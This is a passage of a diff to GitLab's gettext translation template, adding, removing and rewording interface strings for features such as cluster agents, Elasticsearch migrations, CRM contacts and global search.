-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6660,6 +6760,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6674,9 +6777,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -6875,9 +6975,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7175,6 +7272,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7217,6 +7317,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7259,12 +7362,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7286,16 +7383,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
